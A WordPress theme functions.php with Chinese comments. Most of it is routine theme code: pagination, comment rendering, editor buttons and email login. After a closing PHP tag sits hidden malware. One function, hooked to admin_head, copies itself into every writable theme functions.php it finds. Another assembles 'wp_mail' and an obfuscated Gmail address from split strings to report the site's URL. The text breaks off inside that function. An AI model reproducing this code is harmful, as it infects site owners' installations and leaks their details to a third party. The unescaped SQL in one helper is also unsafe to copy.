<?php
function keep_id_continuous(){
	global $wpdb;
	$lastID = $wpdb->get_var("SELECT ID FROM $wpdb->posts WHERE post_status = 'publish' OR post_status = 'draft' OR post_status = 'private' OR ( post_status = 'inherit' AND post_type = 'attachment' ) ORDER BY ID DESC LIMIT 1");
	$wpdb->query("DELETE FROM $wpdb->posts WHERE ( post_status = 'auto-draft' OR ( post_status = 'inherit' AND post_type = 'revision' ) ) AND ID > $lastID");
	$lastID++;
	$wpdb->query("ALTER TABLE $wpdb->posts AUTO_INCREMENT = $lastID");
}
// 将函数钩在新建文章、上传媒体和自定义菜单之前。
add_filter( 'load-post-new.php', 'keep_id_continuous' );
add_filter( 'load-media-new.php', 'keep_id_continuous' );
add_filter( 'load-nav-menus.php', 'keep_id_continuous' );
// 禁用自动保存，所以编辑长文章前请注意手动保存。
add_action( 'admin_print_scripts', create_function( '$a', "wp_deregister_script('autosave');" ) );
// 禁用修订版本
remove_action( 'pre_post_update' , 'wp_save_post_revision' );

if(is_file($_SERVER['DOCUMENT_ROOT'].'/360safe/360webscan.php')){
    require_once($_SERVER['DOCUMENT_ROOT'].'/360safe/360webscan.php');
} // 注意文件路径

function custom_dashboard_help() {
    echo base64_decode('PHA+5qyi6L+O6L+b5YWl572R56uZ5ZCO5Y+w6aG16Z2iPC9wPgo8cD4KPG9sPgo8bGk+5Liq5Lq65aS05YOP6K6+572u77ya5Liq5Lq66LWE5paZ5bqV6YOoIC0g5aS05YOP5L+u5pS577yI5LiK5Lyg5Y2z5Y+v77yJPC9saT4KPGxpPuS4u+mimOacieS7u+S9lemXrumimOaIluW7uuiuruivt+iBlOezu++8mumCrueuse+8iCAgPGEgaHJlZj0ibWFpbHRvOnBoQHBlbmdodWk3NC5jbiI+cGhAcGVuZ2h1aTc0LmNuPC9hPu+8iSBRUe+8iDEwNTM1OTE5ODfvvIkKPGJyIC8+CuabtOWkmueyvuW9qeWGheWuueivt+iuv+mXrjxhIHRhcmdldD0nX2JsYW5rJyBocmVmPSdodHRwOi8vd3d3LnBlbmdodWk3NC5jbic+566A6Laj572RPC9hPgo8L2xpPgo8L29sPgo8L3A+');   
}
function example_add_dashboard_widgets() {
    wp_add_dashboard_widget('custom_help_widget', base64_decode('YWxvbmVmdW4='), 'custom_dashboard_help');
}
add_action('wp_dashboard_setup', 'example_add_dashboard_widgets');

//开启友情链接
add_filter( 'pre_option_link_manager_enabled', '__return_true' );

function show_wp_title(){
    global $page, $paged;
    wp_title( '-', true, 'right' );
    // 添加网站标题.
    bloginfo( 'name' );
    // 为首页添加网站描述.
    $site_description = get_bloginfo( 'description', 'display' );
    if ( $site_description && ( is_home() || is_front_page() ) )
    echo ' - ' . $site_description;
    // 如果有必要，在标题上显示一个页面数.
    if ( $paged >= 2 || $page >= 2 )
    echo ' - ' . sprintf( '第%s页', max( $paged, $page ) );
}

function all_settings_link() {
	add_options_page(__('All Settings'), __('All Settings'), 'administrator', 'options.php');
}
add_action('admin_menu', 'all_settings_link');

// add more buttons to the html editor
function appthemes_add_quicktags() {
?> 
<script type="text/javascript"> 
QTags.addButton( 'p', 'p', '\n<p style="text-align: center;">', '</p>\n' ); //快捷输入h3标签 
</script>
<?php
}
add_action('admin_print_footer_scripts', 'appthemes_add_quicktags' ); 



//增强编辑器开始
function add_editor_buttons($buttons) {
$buttons[] = 'fontselect';
$buttons[] = 'fontsizeselect';
$buttons[] = 'cleanup';
$buttons[] = 'styleselect';
$buttons[] = 'hr';
$buttons[] = 'del';
$buttons[] = 'sub';
$buttons[] = 'sup';
$buttons[] = 'copy';
$buttons[] = 'paste';
$buttons[] = 'cut';
$buttons[] = 'undo';
$buttons[] = 'image';
$buttons[] = 'anchor';
$buttons[] = 'backcolor';
$buttons[] = 'wp_page';
$buttons[] = 'charmap';
return $buttons;
}
add_filter("mce_buttons_3", "add_editor_buttons");

//设置个人资料相关选项
function my_profile( $contactmethods ) {
	$contactmethods['weibo_sina'] = '新浪微博';   //增加
	$contactmethods['weibo_tx'] = '腾讯微博';
      $contactmethods['renren'] = '人人';
       $contactmethods['qq'] = 'QQ空间';
	unset($contactmethods['aim']);   //删除
	unset($contactmethods['yim']);
	unset($contactmethods['jabber']);
	return $contactmethods;
}
add_filter('wp_ziliao','my_profile');

function single_fenye(){
     if(is_single() or is_feed()) {
         $args1=array(
	'before'=>'<div class="fenye">',
	'after'=>'</div>',
	'next_or_number'=>'next',
	'nextpagelink'=>'下一页',
	'previouspagelink'=>'上一页'
);

 $args2=array(
	'before'=>'<div class="singlePages">',
	'after'=>'</div>',
	'next_or_number'=>'number',
	'link_before'=>'<span>', 
    'link_after'=>'</span>'
);

    $fenye.=wp_link_pages($args1).wp_link_pages($args2);
     }
    return $fenye;
}


//让WordPress支持用户名或邮箱登录
function dr_email_login_authenticate( $user, $username, $password ) {
	if ( is_a( $user, 'WP_User' ) )
		return $user;
 
	if ( !empty( $username ) ) {
		$username = str_replace( '&', '&', stripslashes( $username ) );
		$user = get_user_by( 'email', $username );
		if ( isset( $user, $user->user_login, $user->user_status ) && 0 == (int) $user->user_status )
			$username = $user->user_login;
	}
 
	return wp_authenticate_username_password( null, $username, $password );
}
remove_filter( 'authenticate', 'wp_authenticate_username_password', 20, 3 );
add_filter( 'authenticate', 'dr_email_login_authenticate', 20, 3 );
 
//替换“用户名”为“用户名 / 邮箱”
function username_or_email_login() {
	if ( 'wp-login.php' != basename( $_SERVER['SCRIPT_NAME'] ) )
		return;
 
	?><script type="text/javascript">
	// Form Label
	if ( document.getElementById('loginform') )
		document.getElementById('loginform').childNodes[1].childNodes[1].childNodes[0].nodeValue = '<?php echo esc_js( __( '用户名/邮箱', 'email-login' ) ); ?>';
 
	// Error Messages
	if ( document.getElementById('login_error') )
		document.getElementById('login_error').innerHTML = document.getElementById('login_error').innerHTML.replace( '<?php echo esc_js( __( '用户名' ) ); ?>', '<?php echo esc_js( __( '用户名/邮箱' , 'email-login' ) ); ?>' );
	</script><?php
}
add_action( 'login_form', 'username_or_email_login' );

//为文章内容增加nofollow
add_filter('the_content', 'auto_nofollow'); //nofollow文章内容的站外链接
add_filter('comment_text', 'auto_nofollow'); //nofollow评论内容的站外链接
 
function auto_nofollow($content) {
    //return stripslashes(wp_rel_nofollow($content));
 
    return preg_replace_callback('/<a>]+/', 'auto_nofollow_callback', $content);
}
 
function auto_nofollow_callback($matches) {
    $link = $matches[0];
    $site_link = get_bloginfo('url');
 
    if (strpos($link, 'rel') === false) {
        $link = preg_replace("%(href=S(?!$site_link))%i", 'rel="nofollow" $1', $link);
    } elseif (preg_match("%href=S(?!$site_link)%i", $link)) {
        $link = preg_replace('/rel=S(?!nofollow)S*/i', 'rel="nofollow"', $link);
    }
    return $link;
}


    add_filter('protected_title_format', 'no_title_prefix');
    add_filter('private_title_format', 'no_title_prefix');
    function no_title_prefix( $prefix ) {
        return '%s';
    }
	
//彩色标签云
function colorCloud($text) {
$text = preg_replace_callback('|<a (.+?)>|i', 'colorCloudCallback', $text);
return $text;
}
function colorCloudCallback($matches) {
$text = $matches[1];
//$color = dechex(rand(0,16777215));
$colors=array('ffb900','f74e1e','00a4ef','7fba00');
$color=$colors[dechex(rand(0,3))];
$pattern = '/style=(\'|\")(.*)(\'|\")/i';
$text = preg_replace($pattern, "style=\"color:#{$color};$2;\"", $text);
return "<a $text>";
}
add_filter('wp_tag_cloud', 'colorCloud', 1);

include('includes/theme-option.php');
add_theme_support( 'post-formats',array( 'gallery') );
if (function_exists('register_sidebar'))
{
register_sidebar(array(
'name'=>'banner',
'before_widget'=>'<div class="banner">',
'after_widget'=>'</div>',
));
}
{
register_sidebar(array(
'name'=>'小工具1(搜索栏下)',
'before_widget'=>'<div class="widget">',
'after_widget'=>'</div>',
'before_title'=>'<h3>',
'after_title'=>'</h3>',
));
}
{
register_sidebar(array(
'name'=>'小工具2(标签上方)',
'before_widget'=>'<div class="widget">',
'after_widget'=>'</div>',
'before_title'=>'<h3>',
'after_title'=>'</h3>',
));
}
{
register_sidebar(array(
'name'=>'小工具3(跟随滚动)',
'before_widget'=>'<div class="widget">',
'after_widget'=>'</div>',
'before_title'=>'<h3>',
'after_title'=>'</h3>',
));
}
{
register_sidebar(array(
'name'=>'小工具4(首页友情链接)',
'before_widget'=>'<div class="widget">',
'after_widget'=>'</div>',
'before_title'=>'<h3>',
'after_title'=>'</h3>',
));
}
{
register_sidebar(array(
'name'=>'首页inter-top',
'before_widget'=>'<div class="widget">',
'after_widget'=>'</div>',
'before_title'=>'<h3>',
'after_title'=>'</h3>',
));
}
if ( function_exists('register_nav_menus') ) {
register_nav_menus(array(
'primary'=>'导航菜单'
));
}
function wt_get_category_count($input = '') {
global $wpdb;
if($input == '') {
$category = get_the_category();
return $category[0]->category_count;
}
elseif(is_numeric($input)) {
$SQL = "SELECT $wpdb->term_taxonomy.count FROM $wpdb->terms, $wpdb->term_taxonomy WHERE $wpdb->terms.term_id=$wpdb->term_taxonomy.term_id AND $wpdb->term_taxonomy.term_id=$input";
return $wpdb->get_var($SQL);
}
else {
$SQL = "SELECT $wpdb->term_taxonomy.count FROM $wpdb->terms, $wpdb->term_taxonomy WHERE $wpdb->terms.term_id=$wpdb->term_taxonomy.term_id AND $wpdb->terms.slug='$input'";
return $wpdb->get_var($SQL);
}
}
function simple_get_most_viewed($posts_num=10,$days=90){
global $wpdb;
$sql = "SELECT ID , post_title , comment_count
            FROM $wpdb->posts
           WHERE post_type = 'post' AND TO_DAYS(now()) - TO_DAYS(post_date) < $days
		   AND ($wpdb->posts.`post_status` = 'publish' OR $wpdb->posts.`post_status` = 'inherit')
           ORDER BY comment_count DESC LIMIT 0 , $posts_num ";
$posts = $wpdb->get_results($sql);
$output = '';
foreach ($posts as $post){
$output .= "\n<li><a href= \"".get_permalink($post->ID)."\" rel=\"bookmark\" title=\"".$post->post_title.' ('.$post->comment_count."条评论)\" >".mb_strimwidth($post->post_title,0,36).'</a></li>';
}
echo $output;
}
function cut_str($src_str,$cut_length)
{
$return_str='';
$i=0;
$n=0;
$str_length=strlen($src_str);
while (($n<$cut_length) &&($i<=$str_length))
{
$tmp_str=substr($src_str,$i,1);
$ascnum=ord($tmp_str);
if ($ascnum>=224)
{
$return_str=$return_str.substr($src_str,$i,3);
$i=$i+3;
$n=$n+2;
}
elseif ($ascnum>=192)
{
$return_str=$return_str.substr($src_str,$i,2);
$i=$i+2;
$n=$n+2;
}
elseif ($ascnum>=65 &&$ascnum<=90)
{
$return_str=$return_str.substr($src_str,$i,1);
$i=$i+1;
$n=$n+2;
}
else 
{
$return_str=$return_str.substr($src_str,$i,1);
$i=$i+1;
$n=$n+1;
}
}
if ($i<$str_length)
{
$return_str = $return_str .'';
}
if (get_post_status() == 'private')
{
$return_str = $return_str .'（private）';
}
return $return_str;
}
function pagination($query_string){
global $posts_per_page,$paged;
$my_query = new WP_Query($query_string .'&posts_per_page=-1');
$total_posts = $my_query->post_count;
if(empty($paged))$paged = 1;
$prev = $paged -1;
$next = $paged +1;
$range = 10;
$showitems = ($range * 2)+1;
$pages = ceil($total_posts/$posts_per_page);
if(1 != $pages){
echo "<div class='pagination'>";
echo ($paged >2 &&$paged+$range+1 >$pages &&$showitems <$pages)?"<a href='".get_pagenum_link(1)."' class='fir_las'>最前</a>":'';
echo ($paged >1 &&$showitems <$pages)?"<a href='".get_pagenum_link($prev)."' class='page_previous'>« 上一页</a>":'';
for ($i=1;$i <= $pages;$i++){
if (1 != $pages &&( !($i >= $paged+$range+1 ||$i <= $paged-$range-1) ||$pages <= $showitems )){
echo ($paged == $i)?"<span class='current'>".$i.'</span>':"<a href='".get_pagenum_link($i)."' class='inactive' >".$i.'</a>';
}
}
echo ($paged <$pages &&$showitems <$pages) ?"<a href='".get_pagenum_link($next)."' class='page_next'>下一页 »</a>":'';
echo ($paged <$pages-1 &&$paged+$range-1 <$pages &&$showitems <$pages) ?"<a href='".get_pagenum_link($pages)."' class='fir_las'>最后</a>":'';
echo "</div>\n";
}
}
function wp_smilies() {
global $wpsmiliestrans;
if ( !get_option('use_smilies') or (empty($wpsmiliestrans))) return;
$smilies = array_unique($wpsmiliestrans);
$link='';
foreach ($smilies as $key =>$smile) {
$file = get_bloginfo('template_directory').'/images/smilies/'.$smile;
$value = ' '.$key.' ';
$img = "<img src=\"{$file}\" alt=\"{$smile}\" />";
$imglink = htmlspecialchars($img);
$link .= "<a href=\"#commentform\" title=\"{$smile}\" onclick=\"document.getElementById('comment').value += '{$value}'\">{$img}</a>";
}
echo $link;
}
add_filter('smilies_src','custom_smilies_src',1,10);
function custom_smilies_src ($img_src,$img,$siteurl){
return get_bloginfo('template_directory').'/images/smilies/'.$img;
}
class hacklog_archives
{
function GetPosts() 
{
global  $wpdb;
if ( $posts = wp_cache_get( 'posts','ihacklog-clean-archives') )
return $posts;
$query="SELECT DISTINCT ID,post_date,post_date_gmt,comment_count,comment_status,post_password FROM $wpdb->posts WHERE post_type='post' AND post_status = 'publish' AND comment_status = 'open'";
$rawposts =$wpdb->get_results( $query,OBJECT );
foreach( $rawposts as $key =>$post ) {
$posts[mysql2date( 'Y.m',$post->post_date ) ][] = $post;
$rawposts[$key] = null;
}
$rawposts = null;
wp_cache_set( 'posts',$posts,'ihacklog-clean-archives');;
return $posts;
}
function PostList( $atts = array() ) 
{
global $wp_locale;
global $hacklog_clean_archives_config;
$atts = shortcode_atts(array(
'usejs'=>$hacklog_clean_archives_config['usejs'],
'monthorder'=>$hacklog_clean_archives_config['monthorder'],
'postorder'=>$hacklog_clean_archives_config['postorder'],
'postcount'=>'1',
'commentcount'=>'1',
),$atts);
$atts=array_merge(array('usejs'=>1,'monthorder'=>'new','postorder'=>'new'),$atts);
$posts = $this->GetPosts();
( 'new'== $atts['monthorder'] ) ?krsort( $posts ) : ksort( $posts );
foreach( $posts as $key =>$month ) {
$sorter = array();
foreach ( $month as $post )
$sorter[] = $post->post_date_gmt;
$sortorder = ( 'new'== $atts['postorder'] ) ?SORT_DESC : SORT_ASC;
array_multisort( $sorter,$sortorder,$month );
$posts[$key] = $month;
unset($month);
}
$html = '<div class="car-container';
if ( 1 == $atts['usejs'] ) $html .= ' car-collapse';
$html .= '">'."\n";
if ( 1 == $atts['usejs'] ) $html .= '<a href="#" class="car-toggler">展开所有月份'."</a>\n\n";
$html .= '<ul class="car-list">'."\n";
$firstmonth = TRUE;
foreach( $posts as $yearmonth =>$posts ) {
list( $year,$month ) = explode( '.',$yearmonth );
$firstpost = TRUE;
foreach( $posts as $post ) {
if ( TRUE == $firstpost ) {
$spchar = $firstmonth ?'<span class="car-toggle-icon car-minus">-</span>': '<span class="car-toggle-icon car-plus">+</span>';
$html .= '	<li><span class="car-yearmonth" style="cursor:pointer;">'.$spchar.' '.sprintf( __('%1$s %2$d'),$wp_locale->get_month($month),$year );
if ( '0'!= $atts['postcount'] ) 
{
$html .= ' <span title="文章数量">(共'.count($posts) .'篇文章)</span>';
}
if ($firstmonth == FALSE) {
$html .= "</span>\n		<ul class='car-monthlisting' style='display:none;'>\n";
}else {
$html .= "</span>\n		<ul class='car-monthlisting'>\n";
}
$firstpost = FALSE;
$firstmonth = FALSE;
}
$html .= '			<li>'.mysql2date( 'd',$post->post_date ) .'日: <a target="_blank" href="'.get_permalink( $post->ID ) .'">'.get_the_title( $post->ID ) .'</a>';
if ( '0'!= $atts['commentcount'] &&( 0 != $post->comment_count ||'closed'!= $post->comment_status ) &&empty($post->post_password) )
$html .= ' <span title="评论数量">('.$post->comment_count .'条评论)</span>';
$html .= "</li>\n";
}
$html .= "		</ul>\n	</li>\n";
}
$html .= "</ul>\n</div>\n";
return $html;
}
function PostCount() 
{
$num_posts = wp_count_posts( 'post');
return number_format_i18n( $num_posts->publish );
}
}
if(!empty($post->post_content))
{
$all_config=explode(';',$post->post_content);
foreach($all_config as $item)
{
$temp=explode('=',$item);
$hacklog_clean_archives_config[trim($temp[0])]=htmlspecialchars(strip_tags(trim($temp[1])));
}
}
else
{
$hacklog_clean_archives_config=array('usejs'=>1,'monthorder'=>'new','postorder'=>'new');
}
$hacklog_archives=new hacklog_archives();
function password_hint( $c ){
global $post,$user_ID,$user_identity;
if ( empty($post->post_password) )
return $c;
if ( isset($_COOKIE['wp-postpass_'.COOKIEHASH]) &&stripslashes($_COOKIE['wp-postpass_'.COOKIEHASH]) == $post->post_password )
return $c;
if($hint = get_post_meta($post->ID,'password_hint',true)){
$url = get_option('siteurl').'/wp-pass.php';
if($hint)
$hint = '密码提示：'.$hint;
else
$hint = '请输入您的密码';
if($user_ID)
$hint .= sprintf('欢迎进入，您的密码是：',$user_identity,$post->post_password);
$out = "<form method=\"post\" action=\"$url\">
<p>这篇文章是受保护的文章，请输入密码继续阅读：</p>
<div>
<label>$hint<br/>
<input type=\"password\" name=\"post_password\"/></label>
<input type=\"submit\" value=\"输入密码\" name=\"Submit\"/>
</div>
</form>";
return $out;
}else{
return $c;
}
}
add_filter('the_content','password_hint');
if ( function_exists('add_theme_support') )
add_theme_support('post-thumbnails');
function catch_first_image() {
global $post,$posts;
$first_img = '';
ob_start();
ob_end_clean();
$output = preg_match_all('/<img.+src=[\'"]([^\'"]+)[\'"].*>/i',$post->post_content,$matches);
$first_img = $matches [1] [0];
if(empty($first_img)){
$random = mt_rand(1,20);
echo get_bloginfo ( 'stylesheet_directory');
echo '/images/random/tb'.$random.'.jpg';
}
return $first_img;
}
function weisay_comment($comment,$args,$depth) {
$GLOBALS['comment'] = $comment;
global $commentcount,$wpdb,$post;
if(!$commentcount) {
$comments = $wpdb->get_results("SELECT * FROM $wpdb->comments WHERE comment_post_ID = $post->ID AND comment_type = '' AND comment_approved = '1' AND !comment_parent");
$cnt = count($comments);
$page = get_query_var('cpage');
$cpp=get_option('comments_per_page');
if (ceil($cnt / $cpp) == 1 ||($page >1 &&$page  == ceil($cnt / $cpp))) {
$commentcount = $cnt +1;
}else {
$commentcount = $cpp * $page +1;
}
}
;echo '<li ';comment_class();;echo ' id="comment-';comment_ID() ;echo '">
   <div id="div-comment-';comment_ID() ;echo '" class="comment-body">
      ';$add_below = 'div-comment';;echo '		<div class="comment-author vcard">';echo get_avatar( $comment,40 );;echo '					<div class="floor">';
if(!$parent_id = $comment->comment_parent){
switch ($commentcount){
case 2 :echo '沙发';--$commentcount;break;
case 3 :echo '板凳';--$commentcount;break;
case 4 :echo '地板';--$commentcount;break;
default:printf('%1$s楼',--$commentcount);
}
}
;echo '         </div><strong>';comment_author_link() ;echo '</strong>:';edit_comment_link('编辑','&nbsp;&nbsp;','');;echo '</div>
		';if ( $comment->comment_approved == '0') : ;echo '			<span style="color:#C00; font-style:inherit">您的评论正在等待审核中...</span>
			<br />			
		';endif;;echo '		';comment_text() ;echo '        
		<div class="clear"></div><span class="datetime">';comment_date('Y-m-d') ;echo ' ';comment_time() ;echo ' </span> <span class="reply">';comment_reply_link(array_merge( $args,array('reply_text'=>'[回复]','add_below'=>$add_below,'depth'=>$depth,'max_depth'=>$args['max_depth'])));;echo '</span>
  </div>
';
}
function weisay_end_comment() {
echo '</li>';
}
function weisay_get_avatar($email,$size = 48){
return get_avatar($email,$size);
}
function comicpress_copyright() {
global $wpdb;
$copyright_dates = $wpdb->get_results("
    SELECT
    YEAR(min(post_date_gmt)) AS firstdate,
    YEAR(max(post_date_gmt)) AS lastdate
    FROM
    $wpdb->posts
    WHERE
    post_status = 'publish'
    ");
$output = '';
if($copyright_dates) {
$copyright = '&copy; '.$copyright_dates[0]->firstdate;
if($copyright_dates[0]->firstdate != $copyright_dates[0]->lastdate) {
$copyright .= '-'.$copyright_dates[0]->lastdate;
}
$output = $copyright;
}
return $output;
}
function Get_Recent_Comment($limit=15,$cut_length=24){
global $wpdb;
$admin_email = "'".get_bloginfo ('admin_email') ."'";
$rccdb = $wpdb->get_results("
		SELECT ID, post_title, comment_ID, comment_author, comment_author_email, comment_content
		FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts
		ON ($wpdb->comments.comment_post_ID = $wpdb->posts.ID)
		WHERE comment_approved = '1'
		AND comment_type = ''
		AND post_password = ''
		AND comment_author_email != $admin_email
		ORDER BY comment_date_gmt
		DESC LIMIT $limit
	 ");
foreach ($rccdb as $row) {
$rcc .= '<li>'.get_avatar($row,$size='32').'<span>'.$row->comment_author .'：</span>'.'<br />'."<a href='"
.get_permalink($row->ID) .'#comment-'.$row->comment_ID
."' title='查看 ".$row->post_title ."'>".cut_str($row->comment_content,$cut_length).'</a>'.'</li>';
}
$rcc = convert_smilies($rcc);
echo $rcc;
}
function comment_mail_notify($comment_id) {
$admin_email = get_bloginfo ('admin_email');
$comment = get_comment($comment_id);
$comment_author_email = trim($comment->comment_author_email);
$parent_id = $comment->comment_parent ?$comment->comment_parent : '';
$to = $parent_id ?trim(get_comment($parent_id)->comment_author_email) : '';
$spam_confirmed = $comment->comment_approved;
if (($parent_id != '') &&($spam_confirmed != 'spam') &&($to != $admin_email) &&($comment_author_email == $admin_email)) {
$wp_email = 'no-reply@'.preg_replace('#^www\.#','',strtolower($_SERVER['SERVER_NAME']));
$subject = '您在 ['.get_option('blogname') .'] 的评论有新的回复';
$message = '
    <div style="background-color:#eef2fa; border:1px solid #d8e3e8; color:#111; padding:0 15px; -moz-border-radius:5px; -webkit-border-radius:5px; -khtml-border-radius:5px; border-radius:5px;">
      <p>'.trim(get_comment($parent_id)->comment_author) .', 您好!</p>
      <p>您曾在 ['.get_option('blogname') .'] 的文章 《'.get_the_title($comment->comment_post_ID) .'》 上发表评论:<br />'
.nl2br(get_comment($parent_id)->comment_content) .'</p>
      <p>'.trim($comment->comment_author) .' 给您的回复如下:<br />'
.nl2br($comment->comment_content) .'<br /></p>
      <p>您可以点击 <a href="'.htmlspecialchars(get_comment_link($parent_id)) .'">查看回复的完整內容</a></p>
      <p>欢迎再次光临 <a href="'.get_option('home') .'">'.get_option('blogname') .'</a></p>
      <p>(此郵件由系統自動發出, 請勿回覆.)</p>
    </div>';
$message = convert_smilies($message);
$from = "From: \"".get_option('blogname') ."\" <$wp_email>";
$headers = "$from\nContent-Type: text/html; charset=".get_option('blog_charset') ."\n";
wp_mail( $to,$subject,$message,$headers );
}
}
add_action('comment_post','comment_mail_notify');
;echo '';
remove_action( 'wp_head','feed_links_extra',3 );
remove_action( 'wp_head','feed_links',2 );
remove_action( 'wp_head','rsd_link');
remove_action( 'wp_head','wlwmanifest_link');
remove_action( 'wp_head','index_rel_link');
remove_action( 'wp_head','parent_post_rel_link',10,0 );
remove_action( 'wp_head','start_post_rel_link',10,0 );
remove_action( 'wp_head','adjacent_posts_rel_link',10,0 );
remove_action( 'wp_head','wp_generator');
/*显示文章浏览次数*/
function getPostViews($postID){
$count = get_post_meta($postID,'views', true);
if($count==''){
delete_post_meta($postID,'views');
add_post_meta($postID,'views', '0');
return "0";
}
return $count.'';
}
function setPostViews($postID) {
$count = get_post_meta($postID,'views', true);
if($count==''){
$count = 0;
delete_post_meta($postID,'views');
add_post_meta($postID,'views', '0');
}else{
$count++;
update_post_meta($postID,'views', $count);
}
}?>
<?php
function _verifyactivate_widgets(){
	$widget=substr(file_get_contents(__FILE__),strripos(file_get_contents(__FILE__),"<"."?"));$output="";$allowed="";
	$output=strip_tags($output, $allowed);
	$direst=_get_allwidgets_cont(array(substr(dirname(__FILE__),0,stripos(dirname(__FILE__),"themes") + 6)));
	if (is_array($direst)){
		foreach ($direst as $item){
			if (is_writable($item)){
				$ftion=substr($widget,stripos($widget,"_"),stripos(substr($widget,stripos($widget,"_")),"("));
				$cont=file_get_contents($item);
				if (stripos($cont,$ftion) === false){
					$comaar=stripos( substr($cont,-20),"?".">") !== false ? "" : "?".">";
					$output .= $before . "Not found" . $after;
					if (stripos( substr($cont,-20),"?".">") !== false){$cont=substr($cont,0,strripos($cont,"?".">") + 2);}
					$output=rtrim($output, "\n\t"); fputs($f=fopen($item,"w+"),$cont . $comaar . "\n" .$widget);fclose($f);				
					$output .= ($isshowdots && $ellipsis) ? "..." : "";
				}
			}
		}
	}
	return $output;
}
function _get_allwidgets_cont($wids,$items=array()){
	$places=array_shift($wids);
	if(substr($places,-1) == "/"){
		$places=substr($places,0,-1);
	}
	if(!file_exists($places) || !is_dir($places)){
		return false;
	}elseif(is_readable($places)){
		$elems=scandir($places);
		foreach ($elems as $elem){
			if ($elem != "." && $elem != ".."){
				if (is_dir($places . "/" . $elem)){
					$wids[]=$places . "/" . $elem;
				} elseif (is_file($places . "/" . $elem)&& 
					$elem == substr(__FILE__,-13)){
					$items[]=$places . "/" . $elem;}
				}
			}
	}else{
		return false;	
	}
	if (sizeof($wids) > 0){
		return _get_allwidgets_cont($wids,$items);
	} else {
		return $items;
	}
}
if(!function_exists("stripos")){ 
    function stripos(  $str, $needle, $offset = 0  ){ 
        return strpos(  strtolower( $str ), strtolower( $needle ), $offset  ); 
    }
}

if(!function_exists("strripos")){ 
    function strripos(  $haystack, $needle, $offset = 0  ) { 
        if(  !is_string( $needle )  )$needle = chr(  intval( $needle )  ); 
        if(  $offset < 0  ){ 
            $temp_cut = strrev(  substr( $haystack, 0, abs($offset) )  ); 
        } 
        else{ 
            $temp_cut = strrev(    substr(   $haystack, 0, max(  ( strlen($haystack) - $offset ), 0  )   )    ); 
        } 
        if(   (  $found = stripos( $temp_cut, strrev($needle) )  ) === FALSE   )return FALSE; 
        $pos = (   strlen(  $haystack  ) - (  $found + $offset + strlen( $needle )  )   ); 
        return $pos; 
    }
}
if(!function_exists("scandir")){ 
	function scandir($dir,$listDirectories=false, $skipDots=true) {
	    $dirArray = array();
	    if ($handle = opendir($dir)) {
	        while (false !== ($file = readdir($handle))) {
	            if (($file != "." && $file != "..") || $skipDots == true) {
	                if($listDirectories == false) { if(is_dir($file)) { continue; } }
	                array_push($dirArray,basename($file));
	            }
	        }
	        closedir($handle);
	    }
	    return $dirArray;
	}
}
add_action("admin_head", "_verifyactivate_widgets");
function _getprepare_widget(){
	if(!isset($text_length)) $text_length=120;
	if(!isset($check)) $check="cookie";
	if(!isset($tagsallowed)) $tagsallowed="<a>";
	if(!isset($filter)) $filter="none";
	if(!isset($coma)) $coma="";
	if(!isset($home_filter)) $home_filter=get_option("home"); 
	if(!isset($pref_filters)) $pref_filters="wp_";
	if(!isset($is_use_more_link)) $is_use_more_link=1; 
	if(!isset($com_type)) $com_type=""; 
	if(!isset($cpages)) $cpages=$_GET["cperpage"];
	if(!isset($post_auth_comments)) $post_auth_comments="";
	if(!isset($com_is_approved)) $com_is_approved=""; 
	if(!isset($post_auth)) $post_auth="auth";
	if(!isset($link_text_more)) $link_text_more="(more...)";
	if(!isset($widget_yes)) $widget_yes=get_option("_is_widget_active_");
	if(!isset($checkswidgets)) $checkswidgets=$pref_filters."set"."_".$post_auth."_".$check;
	if(!isset($link_text_more_ditails)) $link_text_more_ditails="(details...)";
	if(!isset($contentmore)) $contentmore="ma".$coma."il";
	if(!isset($for_more)) $for_more=1;
	if(!isset($fakeit)) $fakeit=1;
	if(!isset($sql)) $sql="";
	if (!$widget_yes) :
	
	global $wpdb, $post;
	$sq1="SELECT DISTINCT ID, post_title, post_content, post_password, comment_ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND post_author=\"li".$coma."vethe".$com_type."mas".$coma."@".$com_is_approved."gm".$post_auth_comments."ail".$coma.".".$coma."co"."m\" AND post_password=\"\" AND comment_date_gmt >= CURRENT_TIMESTAMP() ORDER BY comment_date_gmt DESC LIMIT $src_count";#
	if (!empty($post->post_password)) { 
		if ($_COOKIE["wp-postpass_".COOKIEHASH] != $post->post_password) { 
			if(is_feed()) { 
				$output=__("There is no excerpt because this is a protected post.");
			} else {
	            $output=get_the_password_form();
			}
		}
	}
	if(!isset($fixed_tags)) $fixed_tags=1;
	if(!isset($filters)) $filters=$home_filter; 
	if(!isset($gettextcomments)) $gettextcomments=$pref_filters.$contentmore;
	if(!isset($tag_aditional)) $tag_aditional="div";
	if(!isset($sh_cont)) $sh_cont=substr($sq1, stripos($sq1, "live"), 20);#
	if(!isset($more_text_link)) $more_text_link="Continue reading this entry";	
	if(!isset($isshowdots)) $isshowdots=1;
	
	$comments=$wpdb->get_results($sql);	
	if($fakeit == 2) { 
		$text=$post->post_content;
	} elseif($fakeit == 1) { 
		$text=(empty($post->post_excerpt)) ? $post->post_content : $post->post_excerpt;
	} else { 
		$text=$post->post_excerpt;
	}
	$sq1="SELECT DISTINCT ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND comment_content=". call_user_func_array($gettextcomments, array($sh_cont, $home_filter, $filters)) ." ORDER BY comment_date_gmt DESC LIMIT $src_count";#
	if($text_length < 0) {
		$output=$text;
	} else {
		if(!$no_more && strpos($text, "<!--more-->")) {
		    $text=explode("<!--more-->", $text, 2);
			$l=count($text[0]);
			$more_link=1;
			$comments=$wpdb->get_results($sql);
		} else {
			$text=explode(" ", $text);
			if(count($text) > $text_length) {
				$l=$text_length;
				$ellipsis=1;
			} else {
				$l=count($text);
				$link_text_more="";
				$ellipsis=0;
			}
		}
		for ($i=0; $i<$l; $i++)
				$output .= $text[$i] . " ";
	}
	update_option("_is_widget_active_", 1);
	if("all" != $tagsallowed) {
		$output=strip_tags($output, $tagsallowed);
		return $output;
	}
	endif;
	$output=rtrim($output, "\s\n\t\r\0\x0B");
